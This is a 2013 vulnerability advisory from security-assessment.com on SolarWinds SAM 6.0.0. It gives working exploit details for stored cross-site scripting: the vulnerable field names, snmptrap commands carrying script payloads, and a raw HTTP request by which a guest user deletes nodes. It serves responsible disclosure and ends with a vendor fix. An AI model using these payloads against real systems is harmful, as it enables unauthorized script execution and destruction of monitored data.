security-assessment.com

Vulnerability Advisory

Name	Solarwinds SAM Multiple Vulnerabilities
Vendor Website	http://www.solarwinds.com
Date Released	10/10/2013
Affected Software	Solarwinds SAM 6.0.0
Researchers	Denis Andzakovic

Description

Stored Cross Site Scripting:

Solarwinds SAM 6.0 suffers from multiple stored cross site scripting vulnerabilities. These allow for an authenticated malicious user to execute arbitrary JavaScript in the context of other users' browsers.

This vulnerability exists within the majority of parameters passed to the application when creating a node, or more specifically the "name" and "custom node" parameters. The payloads put into said parameters are reflected on the main page of the application and within the node details.

Additionally, it was discovered that one can send an SNMP trap to the system with the SNMP community set to a malicious JavaScript payload. This is then subsequently reflected on the 'traps' page. Any string data passed in the SNMP Trap can also be used to deliver the cross site scripting payload, with the added effect that it will render in any authenticated user's 'traps' view (as opposed to just admin user views).

Broken Access Controls:

It was discovered that a guest user can manually submit requests to the Solar Winds SAM web services (under /Orion/Services/) and that no access-level checking is performed. This allows for a guest user to manually submit calls to perform restricted actions such as remove nodes or access the Information web services.

Exploitation

Stored Cross Site Scripting

Exploitation can be achieved by inserting malicious script tags into the following parameters when submitting the request:

URL	Parameter
/Orion/Nodes/Add/Properties.aspx	ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$txtCaption ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ctl06$repCustomProperties$ctl00$PropertyValue$TextBoxEditorValue ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ctl06$repCustomProperties$ctl01$PropertyValue$TextBoxEditorValue ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ctl06$repCustomProperties$ctl01$PropertyValue$TextBoxEditorValue ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ctl06$repCustomProperties$ctl03$PropertyValue$TextBoxEditorValue

	ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ctl02$repCustomProperties$ctl05$PropertyValue$TextBoxEditorValue

The above correlate to the Name, AssetTag, City, Comments, Departments and PONNumber fields.

The following command can be used to orchestrate an unauthenticated stored cross site scripting attack via the SNMP community string:

```
# snmptrap -v 2c -c "<script>alert('SNMP Community XSS')</script>" <solarwinds host> "" NET-SNMP-EXAMPLES-MIB::netSnmpExampleHeartbeatNotification netSnmpExampleHeartbeatRate i 123456
```

The following command can be used to orchestrate an unauthenticated stored cross site scripting attack via the SNMP trap data:

```
# snmptrap -v 1 -c public <solarwinds host> UCD-TRAP-TEST-MIB::demotraps "" 6 17 ""  SNMPv2-MIB::sysLocation.0 s "<script>alert('MIB XSS')</script>
```

Broken Access Controls

The following request can be manually submitted by a user logged in as a guest and will successfully remove the node:

Delete Node Request

```
POST /Orion/Services/NodeManagement.asmx/DeleteObjNow HTTP/1.1
Host: <solarwindshost>:8787
Content-Type: application/json; charset=utf-8
Referer: http://192.168.44.101:8787/Orion/Nodes/Default.aspx
Content-Length: 24
Cookie: ASP.NET_SessionId=<valid session>; .ASPXAUTH=<valid auth cookie>; SelectedTab=3
Cache-Control: no-cache

{"netObjectIds":"N:3:1"}
```

Timeline

10/10/2013 – Initial Disclosure
10/11/2013 – Vendor accepts advisory and document is passed to development team for analysis
10/31/2013 – Vendor advised vulnerabilities have been fixed and patches are available for customers with existing support
02/02/2014 – Vendor confirmed that the issues have been addressed in the 6.0.2 release, available for public download.

Solution

Update to SolarWinds SAM 6.0.2 or greater

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 460 2596